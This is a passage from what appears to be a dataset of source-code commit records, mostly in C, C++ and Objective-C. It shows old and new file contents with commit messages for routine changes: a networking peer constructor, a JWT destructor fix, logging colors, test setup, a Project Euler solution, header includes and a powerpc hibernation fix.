function.\n","lang":"C","license":"mit","repos":"sferik\/libxml-ruby,xml4r\/libxml-ruby,sferik\/libxml-ruby,sferik\/libxml-ruby,xml4r\/libxml-ruby,sferik\/libxml-ruby,increments\/libxml-ruby,xml4r\/libxml-ruby,sferik\/libxml-ruby,sferik\/libxml-ruby,increments\/libxml-ruby,increments\/libxml-ruby"}
{"commit":"e481844fb1bada30eff2e2b17fe0e1a7d933bbfa","old_file":"src\/mikpeer.c","new_file":"src\/mikpeer.c","old_contents":"","new_contents":"#include <miknet\/miknet.h>\n\nint mikpeer (miknode_t *n)\n{\n\tint sock, i, pos = 0;\n\tstruct sockaddr_storage addr;\n\tsocklen_t addrlen;\n\n\tsock = accept(n->tcp, (struct sockaddr *)&addr, &addrlen);\n\tif (sock < 0)\n\t\treturn mik_debug(ERR_SOCKET);\n\n\tif (n->peerc >= n->peermax) {\n\t\tclose(sock);\n\t\treturn ERR_PEER_MAX;\n\t}\n\n\tn->peerc++;\n\n\tfor (i = 0; i < n->peermax; ++i) {\n\t\tif (n->peers[i].state == MIK_DISC) {\n\t\t\tpos = i;\n\t\t\tbreak;\n\t\t}\n\t}\n\n\tn->peers[pos].state = MIK_CONN;\n\tn->peers[pos].tcp = sock;\n\tn->peers[pos].addr = addr;\n\tn->peers[pos].addrlen = addrlen;\n\tn->peers[pos].sent = 0;\n\tn->peers[pos].recvd = 0;\n\n\treturn 0;\n}\n\nint mikpeer_close (mikpeer_t *p)\n{\n\tclose(p->tcp);\n\tmemset(&p->addr, 0, sizeof(struct sockaddr_storage));\n\n\tp->state = MIK_DISC;\n\tp->tcp = 0;\n\tp->addrlen = 0;\n\tp->sent = 0;\n\tp->recvd = 0;\n\n\treturn 0;\n}","subject":"Create a constructor and deconstructor for the peer structure.","message":"Create a constructor and deconstructor for the peer structure.\n\nPeers are created over the SOCK_STREAM socket, and so that is preferred.\nThe array which holds all the peers of a node, node.peers, determines whether\na slot is empty or occupied by the state of the peer. MIK_CONN is active, and\nMIK_DISC is an empty slot.\n","lang":"C","license":"mit","repos":"PaytonTurnage\/Miknet,turnage\/Miknet"}
{"commit":"733710b2daccb85fb0e48a0a4dd98ca10f6e6c9d","old_file":"src\/keyimpl.h","new_file":"src\/keyimpl.h","old_contents":"#pragma once\n\n#include \"jwtxx\/jwt.h\"\n\n#include <string>\n\nnamespace JWTXX\n{\n\nstruct Key::Impl\n{\n    virtual std::string sign(const void* data, size_t size) const = 0;\n    virtual bool verify(const void* data, size_t size, const std::string& signature) const = 0;\n};\n\n}\n","new_contents":"#pragma once\n\n#include \"jwtxx\/jwt.h\"\n\n#include <string>\n\nnamespace JWTXX\n{\n\nstruct Key::Impl\n{\n    virtual ~Impl() {}\n    virtual std::string sign(const void* data, size_t size) const = 0;\n    virtual bool verify(const void* data, size_t size, const std::string& signature) const = 0;\n};\n\n}\n","subject":"Fix memory leak in key implementations.","message":"Fix memory leak in key implementations.\n","lang":"C","license":"mit","repos":"RealImage\/jwtxx,RealImage\/jwtxx,madf\/jwtxx,madf\/jwtxx"}
{"commit":"0616049f570ad86c7d9e4064029d1340f32a4763","old_file":"src\/logging.h","new_file":"src\/logging.h","old_contents":"#pragma once\n\n#include <cstdio>\n\nnamespace happyntrain {\n\n#define LOG(message, level, ...) \\\n  printf(\"[\" level \"] %s-%d \" message \"\\n\", __FILE__, __LINE__, ##__VA_ARGS__);\n#define INFO(message, ...) LOG(message, \"INFO\", ##__VA_ARGS__);\n#define DEBUG(message, ...) LOG(message, \"DEBUG\", ##__VA_ARGS__);\n#define ERROR(message, ...) LOG(message, \"ERROR\", ##__VA_ARGS__);\n\n\/\/ end happyntrain\n}","new_contents":"#pragma once\n\n#include <cstdio>\n\nnamespace happyntrain {\n\n#define LOG(message, level, ...)                                     \\\n  printf(\"[%5s] %s-%d \" message \"\\n\", level, __FILENAME__, __LINE__, \\\n         ##__VA_ARGS__);\n\n#define INFO(message, ...) LOG(message, \"INFO\", ##__VA_ARGS__);\n#define DEBUG(message, ...) LOG(message, \"DEBUG\", ##__VA_ARGS__);\n#define ERROR(message, ...) \\\n  LOG(\"\\x1b[31m\" message \"\\x1b[0m\", \"ERROR\", ##__VA_ARGS__);\n\n\/\/ end happyntrain\n}","subject":"Add color for error log","message":"Add color for error log\n","lang":"C","license":"mit","repos":"emengjzs\/happyntrain"}
{"commit":"a8b18b5159236f5b68e875ddf9ff0d52a0f8ea3c","old_file":"swaybg\/main.c","new_file":"swaybg\/main.c","old_contents":"#include <stdio.h>\n#include <stdlib.h>\n#include <wayland-client.h>\n#include <time.h>\n#include \"client.h\"\n#include \"log.h\"\n\nstruct client_state *state;\n\nvoid sway_terminate(void) {\n\tclient_teardown(state);\n\texit(1);\n}\n\nint main(int argc, char **argv) {\n\tinit_log(L_INFO);\n\tstate = client_setup();\n\n\tuint8_t r = 0, g = 0, b = 0;\n\n\tlong last_ms = 0;\n\tint rs;\n\tdo {\n\t\tstruct timespec spec;\n\t\tclock_gettime(CLOCK_MONOTONIC, &spec);\n\t\tlong ms = round(spec.tv_nsec \/ 1.0e6);\n\n\t\tcairo_set_source_rgb(state->cairo, r, g, b);\n\t\tcairo_rectangle(state->cairo, 0, 0, 100, 100);\n\t\tcairo_fill(state->cairo);\n\n\t\trs = client_render(state);\n\n\t\tif (ms - last_ms > 100) {\n\t\t\tr++;\n\t\t\tif (r == 0) {\n\t\t\t\tg++;\n\t\t\t\tif (g == 0) {\n\t\t\t\t\tb++;\n\t\t\t\t}\n\t\t\t}\n\t\t\tms = last_ms;\n\t\t}\n\t} while (rs);\n\n\tclient_teardown(state);\n\treturn 0;\n}\n","new_contents":"#include <stdio.h>\n#include <stdlib.h>\n#include <wayland-client.h>\n#include <time.h>\n#include \"client.h\"\n#include \"log.h\"\n\nstruct client_state *state;\n\nvoid sway_terminate(void) {\n\tclient_teardown(state);\n\texit(1);\n}\n\nint main(int argc, char **argv) {\n\tinit_log(L_INFO);\n\tif (!(state = client_setup())) {\n\t\treturn -1;\n\t}\n\n\tuint8_t r = 0, g = 0, b = 0;\n\n\tlong last_ms = 0;\n\tint rs;\n\tdo {\n\t\tstruct timespec spec;\n\t\tclock_gettime(CLOCK_MONOTONIC, &spec);\n\t\tlong ms = round(spec.tv_nsec \/ 1.0e6);\n\n\t\tcairo_set_source_rgb(state->cairo, r, g, b);\n\t\tcairo_rectangle(state->cairo, 0, 0, 100, 100);\n\t\tcairo_fill(state->cairo);\n\n\t\trs = client_render(state);\n\n\t\tif (ms - last_ms > 100) {\n\t\t\tr++;\n\t\t\tif (r == 0) {\n\t\t\t\tg++;\n\t\t\t\tif (g == 0) {\n\t\t\t\t\tb++;\n\t\t\t\t}\n\t\t\t}\n\t\t\tms = last_ms;\n\t\t}\n\t} while (rs);\n\n\tclient_teardown(state);\n\treturn 0;\n}\n","subject":"Check the client_setup() return value","message":"Check the client_setup() return value\n","lang":"C","license":"mit","repos":"4e554c4c\/sway,SirCmpwn\/sway,crondog\/sway,crondog\/sway,taiyu-len\/sway,mikkeloscar\/sway,colemickens\/sway,ptMuta\/sway,johalun\/sway,4e554c4c\/sway,taiyu-len\/sway,mikkeloscar\/sway,sleep-walker\/sway,ascent12\/sway,sleep-walker\/sway,1ace\/sway,taiyu-len\/sway,1ace\/sway,colemickens\/sway,christophgysin\/sway,christophgysin\/sway,1ace\/sway,ascent12\/sway,colemickens\/sway,ascent12\/sway"}
{"commit":"037b274e82319843bc95d709b9e6261f7de39c4e","old_file":"tests\/auto\/qgsttest.h","new_file":"tests\/auto\/qgsttest.h","old_contents":"\/*\n    Copyright (C) 2010  George Kiagiadakis <kiagiadakis.george@gmail.com>\n\n    This library is free software; you can redistribute it and\/or modify\n    it under the terms of the GNU Lesser General Public License as published\n    by the Free Software Foundation; either version 2.1 of the License, or\n    (at your option) any later version.\n\n    This program is distributed in the hope that it will be useful,\n    but WITHOUT ANY WARRANTY; without even the implied warranty of\n    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n    GNU General Public License for more details.\n\n    You should have received a copy of the GNU Lesser General Public License\n    along with this program.  If not, see <http:\/\/www.gnu.org\/licenses\/>.\n*\/\n#ifndef QGSTTEST_H\n#define QGSTTEST_H\n\n#include <QtTest\/QtTest>\n#include <gst\/gst.h>\n\nclass QGstTest : public QObject\n{\n    Q_OBJECT\nprivate Q_SLOTS:\n    void initTestCase() { gst_init(NULL, NULL); }\n    void cleanupTestCase() { gst_deinit(); }\n};\n\n#endif\n","new_contents":"\/*\n    Copyright (C) 2010  George Kiagiadakis <kiagiadakis.george@gmail.com>\n\n    This library is free software; you can redistribute it and\/or modify\n    it under the terms of the GNU Lesser General Public License as published\n    by the Free Software Foundation; either version 2.1 of the License, or\n    (at your option) any later version.\n\n    This program is distributed in the hope that it will be useful,\n    but WITHOUT ANY WARRANTY; without even the implied warranty of\n    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n    GNU General Public License for more details.\n\n    You should have received a copy of the GNU Lesser General Public License\n    along with this program.  If not, see <http:\/\/www.gnu.org\/licenses\/>.\n*\/\n#ifndef QGSTTEST_H\n#define QGSTTEST_H\n\n#include <QtTest\/QtTest>\n#include <QGst\/Global>\n#include <gst\/gst.h>\n\nclass QGstTest : public QObject\n{\n    Q_OBJECT\nprivate Q_SLOTS:\n    void initTestCase() { QGst::init(); }\n    void cleanupTestCase() { QGst::cleanup(); }\n};\n\n#endif\n","subject":"Use QGst::init\/cleanup in the tests to properly register the ValueVTables for the gstreamer types.","message":"Use QGst::init\/cleanup in the tests to properly register the ValueVTables for the gstreamer types.\n","lang":"C","license":"lgpl-2.1","repos":"freedesktop-unofficial-mirror\/gstreamer__qt-gstreamer,cyndis\/qtgstreamer,detrout\/qt-gstreamer,ylatuya\/qt-gstreamer,GStreamer\/qt-gstreamer,ylatuya\/qt-gstreamer,freedesktop-unofficial-mirror\/gstreamer__qt-gstreamer,GStreamer\/qt-gstreamer,cyndis\/qtgstreamer,iperry\/qt-gstreamer,shadeslayer\/qtgstreamer,iperry\/qt-gstreamer,shadeslayer\/qtgstreamer,freedesktop-unofficial-mirror\/gstreamer__qt-gstreamer,knuesel\/qt-gstreamer,dejunk\/gstreamer,iperry\/qt-gstreamer,cyndis\/qtgstreamer,tswindell\/qt-gstreamer,tswindell\/qt-gstreamer,dejunk\/gstreamer,dejunk\/gstreamer,comicfans\/libqtgstreamer,knuesel\/qt-gstreamer,detrout\/qt-gstreamer,nasserGanjali\/QtGStreamer,comicfans\/libqtgstreamer,GStreamer\/qt-gstreamer,shadeslayer\/qtgstreamer,nasserGanjali\/QtGStreamer,tswindell\/qt-gstreamer,knuesel\/qt-gstreamer,nasserGanjali\/QtGStreamer,comicfans\/libqtgstreamer,ylatuya\/qt-gstreamer,detrout\/qt-gstreamer"}
{"commit":"b06fe693bbf13c9a8205eb03b3e12e6f87adc1c0","old_file":"lib\/asan\/lit_tests\/TestCases\/no_asan_gen_globals.c","new_file":"lib\/asan\/lit_tests\/TestCases\/no_asan_gen_globals.c","old_contents":"","new_contents":"\/\/ Make sure __asan_gen_* strings do not end up in the symbol table.\n\n\/\/ RUN: %clang_asan %s -o %t.exe\n\/\/ RUN: nm %t.exe | grep __asan_gen_ || exit 0\n\nint x, y, z;\nint main() { return 0; }\n","subject":"Make sure none of the __asan_gen_ global strings end up in the symbol table, add a test.","message":"[ASan] Make sure none of the __asan_gen_ global strings end up in the symbol table, add a test.\n\nThis should fix http:\/\/llvm.org\/bugs\/show_bug.cgi?id=17976\nAnother test checking for the global variables' locations and prefixes on Darwin will be committed separately.\n\n\n\ngit-svn-id: c199f293c43da69278bea8e88f92242bf3aa95f7@198017 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/compiler-rt,llvm-mirror\/compiler-rt,llvm-mirror\/compiler-rt,llvm-mirror\/compiler-rt,llvm-mirror\/compiler-rt"}
{"commit":"9773a97828cdec169d3e9c09326ed9b99cef25c6","old_file":"problem_001.c","new_file":"problem_001.c","old_contents":"","new_contents":"\/*\n * Multiples of 3 and 5\n *\n * If we list all the natural numbers below 10 that are multiples of 3 or 5,\n * we get 3, 5, 6 and 9. The sum of these multiples is 23.\n *\n * Find the sum of all the multiples of 3 or 5 below 1000\n *\/\n\n#include <stdio.h>\n\nint\nmain(void)\n{\n    int sum = 0, i = 0;\n    while (i < 1000) {\n        if (i % 3 == 0 || i % 5 == 0)\n            sum += i;\n        i++;\n    }\n    printf(\"%i\\n\", sum);\n    return 0;\n}\n","subject":"Add solution for problem 1","message":"Add solution for problem 1\n","lang":"C","license":"bsd-2-clause","repos":"skreuzer\/euler"}
{"commit":"b26d114c3d5d3973fe85085f61e86efa6680260f","old_file":"lib\/quagga\/src\/common.h","new_file":"lib\/quagga\/src\/common.h","old_contents":"\/*\n * OLSRd Quagga plugin\n *\n * Copyright (C) 2006-2008 Immo 'FaUl' Wehrenberg <immo@chaostreff-dortmund.de>\n * Copyright (C) 2007-2010 Vasilis Tsiligiannis <acinonyxs@yahoo.gr>\n *\n * This program is free software; you can redistribute it and\/or modify\n * it under the terms of the GNU General Public License version 2 as\n * published by the Free Software Foundation or - at your option - under\n * the terms of the GNU General Public Licence version 2 but can be\n * linked to any BSD-Licenced Software with public available sourcecode\n *\n *\/\n\n\/* -------------------------------------------------------------------------\n * File               : common.h\n * Description        : common header file\n * ------------------------------------------------------------------------- *\/\n\n#define OPTION_EXPORT 1\n\n\/* Zebra route types *\/\n#define ZEBRA_ROUTE_OLSR\t\t11\n#define ZEBRA_ROUTE_MAX\t\t\t13\n\nstruct zebra {\n  char status;                         \/\/ internal status\n  char options;                        \/\/ internal options\n  int sock;                            \/\/ Socket to zebra...\n  char redistribute[ZEBRA_ROUTE_MAX];\n  char distance;\n  char flags;\n  char *sockpath;\n  unsigned int port;\n  char version;\n};\n\nextern struct zebra zebra;\n\n\/*\n * Local Variables:\n * c-basic-offset: 2\n * indent-tabs-mode: nil\n * End:\n *\/\n","new_contents":"\/*\n * OLSRd Quagga plugin\n *\n * Copyright (C) 2006-2008 Immo 'FaUl' Wehrenberg <immo@chaostreff-dortmund.de>\n * Copyright (C) 2007-2010 Vasilis Tsiligiannis <acinonyxs@yahoo.gr>\n *\n * This program is free software; you can redistribute it and\/or modify\n * it under the terms of the GNU General Public License version 2 as\n * published by the Free Software Foundation or - at your option - under\n * the terms of the GNU General Public Licence version 2 but can be\n * linked to any BSD-Licenced Software with public available sourcecode\n *\n *\/\n\n\/* -------------------------------------------------------------------------\n * File               : common.h\n * Description        : common header file\n * ------------------------------------------------------------------------- *\/\n\n#define OPTION_EXPORT 1\n\n\/* Zebra route types *\/\n#define ZEBRA_ROUTE_OLSR\t\t11\n#define ZEBRA_ROUTE_MAX\t\t\t13\n\nstruct zebra {\n  unsigned char status;\n  unsigned char options;\n  int sock;\n  unsigned char redistribute[ZEBRA_ROUTE_MAX];\n  unsigned char distance;\n  unsigned char flags;\n  char *sockpath;\n  unsigned int port;\n  unsigned char version;\n};\n\nextern struct zebra zebra;\n\n\/*\n * Local Variables:\n * c-basic-offset: 2\n * indent-tabs-mode: nil\n * End:\n *\/\n","subject":"Change some char type variables to unsigned char","message":"Change some char type variables to unsigned char\n","lang":"C","license":"bsd-3-clause","repos":"tdz\/olsrd,duydb2\/olsr,ninuxorg\/olsrd,tdz\/olsrd,servalproject\/olsr,diogomg\/olsrd-binary-heap,zioproto\/olsrd-gsoc2012,duydb2\/olsr,zioproto\/olsrd,servalproject\/olsr,ninuxorg\/olsrd,acinonyx\/olsrd,diogomg\/olsrd-binary-heap,diogomg\/olsrd,duydb2\/olsr,diogomg\/olsrd,servalproject\/olsr,sebkur\/olsrd,sebkur\/olsrd,zioproto\/olsrd-gsoc2012,zioproto\/olsrd,nolith\/olsrd,acinonyx\/olsrd,servalproject\/olsr,diogomg\/olsrd,zioproto\/olsrd,tdz\/olsrd,nolith\/olsrd,cholin\/olsrd,duydb2\/olsr,diogomg\/olsrd-binary-heap,sebkur\/olsrd,diogomg\/olsrd,cholin\/olsrd,zioproto\/olsrd-gsoc2012,sebkur\/olsrd,cholin\/olsrd,sebkur\/olsrd,diogomg\/olsrd,zioproto\/olsrd-gsoc2012,ninuxorg\/olsrd,diogomg\/olsrd-binary-heap,servalproject\/olsr,duydb2\/olsr,duydb2\/olsr,zioproto\/olsrd-gsoc2012,diogomg\/olsrd-binary-heap,nolith\/olsrd,duydb2\/olsr,nolith\/olsrd,tdz\/olsrd,sebkur\/olsrd,tdz\/olsrd,zioproto\/olsrd-gsoc2012,acinonyx\/olsrd,acinonyx\/olsrd,diogomg\/olsrd,diogomg\/olsrd,cholin\/olsrd,ninuxorg\/olsrd,acinonyx\/olsrd,zioproto\/olsrd,servalproject\/olsr,nolith\/olsrd,cholin\/olsrd,zioproto\/olsrd,duydb2\/olsr,diogomg\/olsrd-binary-heap,ninuxorg\/olsrd,diogomg\/olsrd-binary-heap"}
{"commit":"2bc02ed37549e09ff449860a73aa03b326910f07","old_file":"bikepath\/GeocodeItem.h","new_file":"bikepath\/GeocodeItem.h","old_contents":"\/\/\n\/\/  GeocodeItem.h\n\/\/  bikepath\n\/\/\n\/\/  Created by Farheen Malik on 8\/19\/14.\n\/\/  Copyright (c) 2014 Bike Path. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n\n@interface GeocodeItem : NSObject\n\n@end\n","new_contents":"\/\/\n\/\/  GeocodeItem.h\n\/\/  bikepath\n\/\/\n\/\/  Created by Farheen Malik on 8\/19\/14.\n\/\/  Copyright (c) 2014 Bike Path. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n#import <MapKit\/MapKit.h>\n#import <GoogleMaps\/GoogleMaps.h>\n\n@interface GeocodeItem : NSObject\n\n@property NSString *latitude;\n@property NSString *longitude;\n@property CLLocation *position;\n@property NSString *address;\n@property (readonly) NSDate *creationDate;\n\n@end\n","subject":"Add address property to object","message":"Add address property to object\n","lang":"C","license":"apache-2.0","repos":"hushifei\/bike-path,red-spotted-newts-2014\/bike-path,red-spotted-newts-2014\/bike-path"}
{"commit":"c89fb451343e8acae2220881bd628e2cada8cb4a","old_file":"packages\/Python\/lldbsuite\/test\/functionalities\/swift-runtime-reporting\/abi-v2\/library.h","new_file":"packages\/Python\/lldbsuite\/test\/functionalities\/swift-runtime-reporting\/abi-v2\/library.h","old_contents":"\/\/ library.h\n\/\/\n\/\/ This source file is part of the Swift.org open source project\n\/\/\n\/\/ Copyright (c) 2014 - 2016 Apple Inc. and the Swift project authors\n\/\/ Licensed under Apache License v2.0 with Runtime Library Exception\n\/\/\n\/\/ See https:\/\/swift.org\/LICENSE.txt for license information\n\/\/ See https:\/\/swift.org\/CONTRIBUTORS.txt for the list of Swift project authors\n\/\/\n\/\/ -----------------------------------------------------------------------------\n\n\/\/ From swift's include\/swift\/Runtime\/Debug.h file.\nstruct RuntimeErrorDetails {\n  uintptr_t version;\n  const char *errorType;\n  const char *currentStackDescription;\n  uintptr_t framesToSkip;\n  void *memoryAddress;\n\n  struct Thread {\n    const char *description;\n    uint64_t threadID;\n    uintptr_t numFrames;\n    void **frames;\n  };\n\n  uintptr_t numExtraThreads;\n  Thread *threads;\n\n  struct FixIt {\n    const char *filename;\n    uintptr_t startLine;\n    uintptr_t startColumn;\n    uintptr_t endLine;\n    uintptr_t endColumn;\n    const char *replacementText;\n  };\n\n  struct Note {\n    const char *description;\n    uintptr_t numFixIts;\n    FixIt *fixIts;\n  };\n\n  uintptr_t numFixIts;\n  FixIt *fixIts;\n\n  uintptr_t numNotes;\n  Note *notes;\n};\n\nenum: uintptr_t {\n  RuntimeErrorFlagNone = 0,\n  RuntimeErrorFlagFatal = 1 << 0\n};\n\nextern \"C\"\nvoid _swift_runtime_on_report(uintptr_t flags, const char *message, RuntimeErrorDetails *details);\n","new_contents":"\/\/ library.h\n\/\/\n\/\/ This source file is part of the Swift.org open source project\n\/\/\n\/\/ Copyright (c) 2014 - 2016 Apple Inc. and the Swift project authors\n\/\/ Licensed under Apache License v2.0 with Runtime Library Exception\n\/\/\n\/\/ See https:\/\/swift.org\/LICENSE.txt for license information\n\/\/ See https:\/\/swift.org\/CONTRIBUTORS.txt for the list of Swift project authors\n\/\/\n\/\/ -----------------------------------------------------------------------------\n\n#include <stdint.h>\n\n\/\/ From swift's include\/swift\/Runtime\/Debug.h file.\nstruct RuntimeErrorDetails {\n  uintptr_t version;\n  const char *errorType;\n  const char *currentStackDescription;\n  uintptr_t framesToSkip;\n  void *memoryAddress;\n\n  struct Thread {\n    const char *description;\n    uint64_t threadID;\n    uintptr_t numFrames;\n    void **frames;\n  };\n\n  uintptr_t numExtraThreads;\n  Thread *threads;\n\n  struct FixIt {\n    const char *filename;\n    uintptr_t startLine;\n    uintptr_t startColumn;\n    uintptr_t endLine;\n    uintptr_t endColumn;\n    const char *replacementText;\n  };\n\n  struct Note {\n    const char *description;\n    uintptr_t numFixIts;\n    FixIt *fixIts;\n  };\n\n  uintptr_t numFixIts;\n  FixIt *fixIts;\n\n  uintptr_t numNotes;\n  Note *notes;\n};\n\nenum: uintptr_t {\n  RuntimeErrorFlagNone = 0,\n  RuntimeErrorFlagFatal = 1 << 0\n};\n\nextern \"C\"\nvoid _swift_runtime_on_report(uintptr_t flags, const char *message, RuntimeErrorDetails *details);\n","subject":"Include the necessary headers to make the swift-runtime-reporting test work.","message":"[testsuite] Include the necessary headers to make the swift-runtime-reporting test work.\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-lldb,apple\/swift-lldb,apple\/swift-lldb,apple\/swift-lldb,apple\/swift-lldb,apple\/swift-lldb"}
{"commit":"fb3ef57e902e16fceb2486e4b9d956155966fa05","old_file":"strings\/stringpiece_utils.h","new_file":"strings\/stringpiece_utils.h","old_contents":"","new_contents":"\/\/ This is a placeholder to allow include-path compatibility with code written\n\/\/ inside Google.\n\n#ifndef STRINGS_STRINGPIECE_UTILS_H_\n#define STRINGS_STRINGPIECE_UTILS_H_\n#endif  \/\/ STRINGS_STRINGPIECE_UTILS_H_\n","subject":"Add a temporary dummy header file to make an internal refactoring process go more smoothly.","message":"Add a temporary dummy header file to make an internal refactoring\nprocess go more smoothly.\n","lang":"C","license":"apache-2.0","repos":"VersoBit\/mod_pagespeed,pagespeed\/mod_pagespeed,VersoBit\/mod_pagespeed,hashashin\/src,VersoBit\/mod_pagespeed,pagespeed\/mod_pagespeed,hashashin\/src,hashashin\/src,hashashin\/src,hashashin\/src,pagespeed\/mod_pagespeed,hashashin\/src,VersoBit\/mod_pagespeed,VersoBit\/mod_pagespeed,pagespeed\/mod_pagespeed,VersoBit\/mod_pagespeed,pagespeed\/mod_pagespeed,pagespeed\/mod_pagespeed,hashashin\/src,pagespeed\/mod_pagespeed,VersoBit\/mod_pagespeed,hashashin\/src"}
{"commit":"0330581ab3b9002d55ee66f377ccbbb742175c01","old_file":"arch\/powerpc\/kernel\/swsusp.c","new_file":"arch\/powerpc\/kernel\/swsusp.c","old_contents":"\/*\n * Common powerpc suspend code for 32 and 64 bits\n *\n * Copyright 2007\tJohannes Berg <johannes@sipsolutions.net>\n *\n * This program is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU General Public License\n * as published by the Free Software Foundation; either version\n * 2 of the License, or (at your option) any later version.\n *\/\n\n#include <linux\/sched.h>\n#include <asm\/system.h>\n#include <asm\/current.h>\n#include <asm\/mmu_context.h>\n\nvoid save_processor_state(void)\n{\n\t\/*\n\t * flush out all the special registers so we don't need\n\t * to save them in the snapshot\n\t *\/\n\tflush_fp_to_thread(current);\n\tflush_altivec_to_thread(current);\n\tflush_spe_to_thread(current);\n\n#ifdef CONFIG_PPC64\n\thard_irq_disable();\n#endif\n\n}\n\nvoid restore_processor_state(void)\n{\n#ifdef CONFIG_PPC32\n\tswitch_mmu_context(NULL, current->active_mm);\n#endif\n}\n","new_contents":"\/*\n * Common powerpc suspend code for 32 and 64 bits\n *\n * Copyright 2007\tJohannes Berg <johannes@sipsolutions.net>\n *\n * This program is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU General Public License\n * as published by the Free Software Foundation; either version\n * 2 of the License, or (at your option) any later version.\n *\/\n\n#include <linux\/sched.h>\n#include <asm\/system.h>\n#include <asm\/current.h>\n#include <asm\/mmu_context.h>\n\nvoid save_processor_state(void)\n{\n\t\/*\n\t * flush out all the special registers so we don't need\n\t * to save them in the snapshot\n\t *\/\n\tflush_fp_to_thread(current);\n\tflush_altivec_to_thread(current);\n\tflush_spe_to_thread(current);\n\n#ifdef CONFIG_PPC64\n\thard_irq_disable();\n#endif\n\n}\n\nvoid restore_processor_state(void)\n{\n#ifdef CONFIG_PPC32\n\tswitch_mmu_context(current->active_mm, current->active_mm);\n#endif\n}\n","subject":"Fix the call trace when resumed from hibernation","message":"powerpc\/mm: Fix the call trace when resumed from hibernation\n\n\tIn SMP mode, the kernel would produce call trace when resumed\n\tfrom hibernation. The reason is when the function destroy_context\n\tis called to drop the resuming mm context, the mm->context.active\n\tis 1 which is wrong and should be zero.\n\tWe pass the current->active_mm as previous mm context to function\n\tswitch_mmu_context to decrease the context.active by 1.\n\n\tIn UP mode, there is no effect.\n\nSigned-off-by: Tang Yuantian <90efaaf7e50af80e074b01e59775908135eef9b3@freescale.com>\nSigned-off-by: Benjamin Herrenschmidt <a7089bb6e7e92505d88aaff006cbdd60cc9120b6@kernel.crashing.org>\n","lang":"C","license":"mit","repos":"KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas"}
{"commit":"a2400149f3df3b8848120d8242a12c5cc4e50eb5","old_file":"src\/Persist.h","new_file":"src\/Persist.h","old_contents":"\/* Copyright 2016 Streampunk Media Ltd.\n\n  Licensed under the Apache License, Version 2.0 (the \"License\");\n  you may not use this file except in compliance with the License.\n  You may obtain a copy of the License at\n\n    http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\n  Unless required by applicable law or agreed to in writing, software\n  distributed under the License is distributed on an \"AS IS\" BASIS,\n  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n  See the License for the specific language governing permissions and\n  limitations under the License.\n*\/\n\n#ifndef PERSIST_H\n#define PERSIST_H\n\nnamespace streampunk {\n\nclass Persist {\npublic:\n  static std::unique_ptr<Persist> makeNew(Local<Object> object) {\n    return std::make_unique<Persist>(object);\n  }\n\n  Persist(Local<Object> object) \n    : mPersistObj(object) {}\n  ~Persist() { mPersistObj.Reset(); }\n\nprivate:\n  Nan::Persistent<Object> mPersistObj;\n};\n\n} \/\/ namespace streampunk\n\n#endif","new_contents":"\/* Copyright 2016 Streampunk Media Ltd.\n\n  Licensed under the Apache License, Version 2.0 (the \"License\");\n  you may not use this file except in compliance with the License.\n  You may obtain a copy of the License at\n\n    http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\n  Unless required by applicable law or agreed to in writing, software\n  distributed under the License is distributed on an \"AS IS\" BASIS,\n  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n  See the License for the specific language governing permissions and\n  limitations under the License.\n*\/\n\n#ifndef PERSIST_H\n#define PERSIST_H\n\n#include <memory>\n\nnamespace streampunk {\n\nclass Persist {\npublic:\n  static std::unique_ptr<Persist> makeNew(Local<Object> object) {\n    return std::make_unique<Persist>(object);\n  }\n\n  Persist(Local<Object> object) \n    : mPersistObj(object) {}\n  ~Persist() { mPersistObj.Reset(); }\n\nprivate:\n  Nan::Persistent<Object> mPersistObj;\n};\n\n} \/\/ namespace streampunk\n\n#endif","subject":"Add missing include for make_unique","message":"Add missing include for make_unique\n","lang":"C","license":"apache-2.0","repos":"Streampunk\/codecadon,Streampunk\/codecadon,Streampunk\/codecadon,Streampunk\/codecadon"}
{"commit":"fca3fe6b3b8f7a918025c81597fe7e4c7e450887","old_file":"tests\/lists\/cl_list_tests.c","new_file":"tests\/lists\/cl_list_tests.c","old_contents":"#include <stdio.h>\n#include <stdlib.h>\n\n#include <cl_list.h>\n#include <cl_iterator.h>\n\n#define QTD 100\n","new_contents":"#include <stdio.h>\n#include <stdlib.h>\n\n#include <cl_list.h>\n#include <cl_iterator.h>\n\n#define QTD 100\n\nvoid print_list_iter(cl_list_root *list) {\n\titerator_c *i = cl_iter_create(list, FORWARD);\n\tprintf(\"[\");\n\tif (i != NULL) {\n\t\tdo {\n\t\t\tprintf(\"'%d', \", *((int *) cl_iter_item(i)));\n\t\t} while (cl_iter_next(i) && cl_iter_is_item(i, list->head));\n\t};\n\tprintf(\"]\\n\");\n\tcl_iter_free(i);\n}\n\nint main() {\n\t\n\treturn EXIT_SUCCESS;\n}\n","subject":"Add list_iter for circular list test.","message":"Add list_iter for circular list test.\n","lang":"C","license":"mit","repos":"vndmtrx\/libadt"}
